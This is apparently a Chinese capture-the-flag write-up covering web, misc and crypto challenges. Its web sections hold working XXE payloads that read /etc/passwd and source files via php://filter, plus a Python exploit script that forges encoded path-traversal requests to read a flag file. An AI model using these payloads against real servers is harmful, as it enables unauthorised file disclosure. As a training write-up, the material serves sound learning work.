网络与信息安全领域专项赛WP

0x00 前言

惨惨惨,速成了一下misc,最后还是21,那个web注入也没解出来

0x01 Game

题目描述

Enjoy the Game.

题目解答

打开网页发现玩儿起来没什么异常,手残点不上三个也没有触发任何网络请求,所以使用devtool来分析js

9A105552-D2DA-4842-82BB-41532FACFF75.png

在cqg.js中看到如下代码

1
2
3
4
5
6
7
8
9
if(score == 15){
$.ajax({
url: 'score.php',
type: 'POST',
data: 'score='+score,
success: function(data){
var data = data;
$("#output").text(data);
}

所以手动发一下请求得到flag

C676ECDC-CE3F-4762-A1AB-D4A616A38117.png

0x02 who_are_you?

题目描述

who are you?

题目解答

编辑用户名提交,发现提交的是xml数据,自然想到xxe攻击

因为此处是点击之后提交所以也就自然联想到是js发的请求,查看源码就能看到对应的js代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<script type="text/javascript">
function play() {
return false;
}
function func() {
// document.getElementById().value
var xml = '' +
'<\?xml version="1.0" encoding="UTF-8"\?>' +
'<feedback>' +
'<author>' + document.getElementById('name').value+ '</author>' +
'</feedback>';
console.log(xml);
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
// console.log(xmlhttp.readyState);
// console.log(xmlhttp.responseText);
var res = xmlhttp.responseText;
document.getElementById('title').textContent = res
}
};
xmlhttp.open("POST", "index.php", true);
xmlhttp.send(xml);
return false;
};
</script>

构造常规的payload读/etc/passwd成功

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

E1C38A08-C528-465F-9615-26446113B484.png

但是这种payload不能读取到对应的index.php源码文件,一是绝对路径我不知道(但是可以brute),二是这样读取在处理<符号时会出现问题,所以要使用伪协议来进行处理。

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>
<root>
<name>&xxe;</name>
</root>

最终读取到对应的源代码如下,flag就在源代码里面

706FDA0A-96CC-4443-98AB-72EA2DBB999E.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
libxml_disable_entity_loader(false);
$data = @file_get_contents('php://input');
$resp = '';
//$flag='flag{b634b4b5-7780-4641-86a7-0e4b43093b26}';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
$res = $dom->textContent;
$resp = ob_get_contents();
ob_end_clean();
if ($res){
die($res);
}

}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>welcome</title>
<link rel="stylesheet" href="./style.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">

</head>
<body class="contactBody">
<div class="wrapper">
<div class="title">


</div>


<form method="post" class="form">
<h1 id="title">请输入姓名</h1>
<br/>
<br/>
<br/>
<input type="text" class="name entry " id="name" name="name" placeholder="Your Name"/>
</form>
<button class="submit entry" onclick="func()">Submit</button>

<div class="shadow"></div>
</div>

</body>
</html>
<script type="text/javascript">
function play() {
return false;
}
function func() {
// document.getElementById().value
var xml = '' +
'<\?xml version="1.0" encoding="UTF-8"\?>' +
'<feedback>' +
'<author>' + document.getElementById('name').value+ '</author>' +
'</feedback>';
console.log(xml);
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
// console.log(xmlhttp.readyState);
// console.log(xmlhttp.responseText);
var res = xmlhttp.responseText;
document.getElementById('title').textContent = res
}
};
xmlhttp.open("POST", "index.php", true);
xmlhttp.send(xml);
return false;
};
</script>
</body>
</html>

0x03 show_me_your_image

题目描述

It’s no easy.

题目解答

先上传一张正常图片,发现可以正常显示

A9B778D3-C0A1-4756-A7E7-751E730CCB37.png

并且图片的链接如下

1
http://fc663c386ea14c96ba9808b72602d341fda4447a2bfb4e01.changame.ichunqiu.com/img.php?name=lk7Bl4hRjmj%3D

主要观察img.php后面跟的请求参数,好像是base编码的一样,但是尝试base64解码之后发现是乱码。

80BE64FB-F874-4D8C-8BF6-ED466F5B5C14.png

但是并不影响我们猜测这是一个通过某种方式编码的任意文件读取漏洞,之后则是要进行已知明文猜解,通过fuzz的方式进行。发现可能是3->4的变种base编码,因此只要利用他自身的加密功能区加密,然后得到我们想要的加密字符串就好了。

根据原理写出Exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import urllib
import base64
import requests
from bs4 import BeautifulSoup


def base_encode(target, filename):
if len(filename) != 3:
return None
r = requests.post(target+"upload.php",
files={'file': (filename + '.jpg',
'z3r0test', 'text/plain')}
)
# print(r.text)
soup = BeautifulSoup(r.text, "html.parser")
pic_url = soup.find('img')
# print(pic_url['src'].replace('img.php?name=', ''))
filename = pic_url['src'].replace('img.php?name=', '')
# print(filename)
urldecode = urllib.parse.unquote(filename)
return urldecode[:4]


def read(target, filename):
filename = urllib.parse.unquote(filename)
r = requests.get(target+"img.php",
params={'name': filename})
print(r.text)


if __name__ == "__main__":
target = "http://fc663c386ea14c96ba9808b72602d341fda4447a2bfb4e01.changame.ichunqiu.com/"
payload = "../.././proc/self/root/root/flag.txt"
# payload = "../..//proc/self/cwd/app.py"
if len(payload) % 3 != 0:
print("must be three times!")
exit()
final = ""
for i in range(0, len(payload), 3):
final += base_encode(target, payload[i:i + 3])
final = urllib.parse.quote(final)
read(target, final)

所以可以得到flag如下
F8BBDDFF7-AA616575E3.png

还可以读到对应的网站源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import os
from urllib import parse
from base64 import b64decode, b64encode
from utils import r_encode, r_decode, read_file
from flask import render_template, Response
from flask import Flask, session, redirect, request
from werkzeug.utils import secure_filename

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(24)

UPLOAD_FOLDER = '/tmp/uploads/'

ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER


def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS


@app.route('/')
@app.route('/index.php')
def home():
file = session.get('file')
if file:
file = bytes.decode(file)
file = parse.quote(file)
return render_template('index.html', file=file)


@app.route('/upload.php', methods=['POST'])
def upload():
if request.method == 'POST':
file = request.files['file']
if file and allowed_file(file.filename):
if not os.path.exists(app.config['UPLOAD_FOLDER']):
os.makedirs(app.config['UPLOAD_FOLDER'])
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
else:
return "不允许的格式"
session['file'] = r_encode(b64encode(str.encode(file.filename)))
return redirect('/')


@app.route('/img.php', methods=['GET'])
def img():
file = request.args.get("name")
file = r_decode(str.encode(file))
file = b64decode(file)
file = UPLOAD_FOLDER + bytes.decode(file)
image = read_file(file)
return Response(image, mimetype="image/jpeg")


if __name__ == '__main__':
app.run(
host = '0.0.0.0',
port = 80,
)

这里有两个trick

  1. fuzz出文件名的编码关系,这个在挖洞中也会有场景,具体的去wooyun看
  2. /proc/self/cwd/ 指向的是当前路径,在本题中用于拼凑3倍数长度的字符串

0x04 签到题

题目描述

I’m gamectf.com, I love TXT.

题目解答

联想到TXT字段,所以直接查到flag

5A6A112C-D1A1-4244-B5B0-EE9AAF435A01.png

0x05 24word

题目描述

try to do.

题目解答

打开是一张这样的图片

24w.png

binwalk -e 提取出其中的压缩包

看图联想到社会主义核心价值观加密解密

https://z.duoluosb.com/

自由 和谐 公正 诚信 平等 公正 自由 公正 平等 平等 公正
CodeV
公正 民主 公正 诚信 文明 法治 平等 公正 平等 法治 和谐
alues

所以得到解压密码: CodeValues

解压完又一张图,上面带了Data Matrix,微信扫一下得到flag

24c 2.jpg

0x06 七代目

题目描述

try to do.

题目解答

打开gif显示文件损坏,使用hex编辑器修改git头得到正常的文件

然后在下面的网站将图逐帧分解

https://zh.bloggif.com/gif-extract?id=1e36fc0da9d495cfba235a6590b61ed7

最终在第七帧使用stego分析得到flag

7BE386FC-9FB2-4057-A121-E3360223E716.png

0x07 亚萨西

题目描述

try to do.

题目解答

strings命令直接的得到pass

1
strings yasaxi_45d7d3f89b50ad351e8bc385b591fd80.zip

解压文件夹后是一个图片
图片里面有ook编码
直接解码得到flag

57498389-1BD5-40DF-AA1E-D15BCAE51C0B.png

0x08 sm4

题目描述

try to do.

题目解答

https://github.com/yang3yen/pysm4

国密SM4(无线局域网SMS4)算法, 一个分组算法, 分组长度为128bit, 密钥长度为128bit 所以需要分段解,注意补位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pysm4 import encrypt, decrypt
key = [13, 204, 99, 177, 254, 41, 198, 163, 201, 226, 56, 214, 192, 194, 98, 104]
c = [46, 48, 220, 156, 184, 218, 57, 13, 246, 91, 1, 63, 60, 67, 105, 64, 149, 240, 217, 77, 107, 49, 222, 61, 155, 225, 231, 196, 167, 121, 9, 16, 60, 182, 65, 101, 39, 253, 250, 224, 9, 204, 154, 122, 206, 43, 97, 59]
tmp =''
for i in range(len(key)):
if len(str(hex(key[i])))<4:
tmp = tmp + '0'+str(hex(key[i])[2:])
else:
tmp =tmp + str(hex(key[i])[2:])
print tmp
tmp =''
for i in range(len(c)):
if len(str(hex(c[i])))<4:
tmp = tmp + '0'+str(hex(c[i])[2:])
else:
tmp =tmp + str(hex(c[i])[2:])
print tmp
key = 0x0dcc63b1fe29c6a3c9e238d6c0c26268
c1 = 0x2e30dc9cb8da390df65b013f3c436940
c2 = 0x95f0d94d6b31de3d9be1e7c4a7790910
c3 = 0x3cb6416527fdfae009cc9a7ace2b613b
#2e30dc9cb8da390df65b013f3c436940
#95f0d94d6b31de3d9be1e7c4a7790910
#3cb6416527fdfae009cc9a7ace2b613b
clear_num1 = decrypt(c1, key)
clear_num2 = decrypt(c2, key)
clear_num3= decrypt(c3, key)
print str(hex(clear_num1))[2:-1].decode('hex')
print str(hex(clear_num2))[2:-1].decode('hex')
print str(hex(clear_num3))[2:-1].decode('hex')

0x09 db

题目描述

try to do.

题目解答

已知N dq 求分解问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import gmpy2
e=65537
n=9637571466652899741848142654451413405801976834328667418509217149503238513830870985353918314633160277580591819016181785300521866901536670666234046521697590230079161867282389124998093526637796571100147052430445089605759722456767679930869250538932528092292071024877213105462554819256136145385237821098127348787416199401770954567019811050508888349297579329222552491826770225583983899834347983888473219771888063393354348613119521862989609112706536794212028369088219375364362615622092005578099889045473175051574207130932430162265994221914833343534531743589037146933738549770365029230545884239551015472122598634133661853901
dp=81339405704902517676022188908547543689627829453799865550091494842725439570571310071337729038516525539158092247771184675844795891671744082925462138427070614848951224652874430072917346702280925974595608822751382808802457160317381440319175601623719969138918927272712366710634393379149593082774688540571485214097
c=5971372776574706905158546698157178098706187597204981662036310534369575915776950962893790809274833462545672702278129839887482283641996814437707885716134279091994238891294614019371247451378504745748882207694219990495603397913371579808848136183106703158532870472345648247817132700604598385677497138485776569096958910782582696229046024695529762572289705021673895852985396416704278321332667281973074372362761992335826576550161390158761314769544548809326036026461123102509831887999493584436939086255411387879202594399181211724444617225689922628790388129032022982596393215038044861544602046137258904612792518629229736324827
r = 3
p = pow(r,e*dp,n)-r%n
p = gmpy2.gcd(n,p)
print p
print n/p
q= 97967760714365562093916104858384893828746431642467029585975238084315810021090864458586154529967237614974563846071700091242756496083221705212495652837671370581444579945909265868365865106738889897018594915115133212043327703567935896287234339778667527842604275909693199845318489073853263155905386941710423649313
fn = (p-1)*(q-1)
d= gmpy2.invert(e,fn)
print 'd=',d
plain= pow(c,d,n)
print 'plain=', plain
print 'plain=', hex(plain)
print 'plain=', hex(plain)[2:].decode('hex')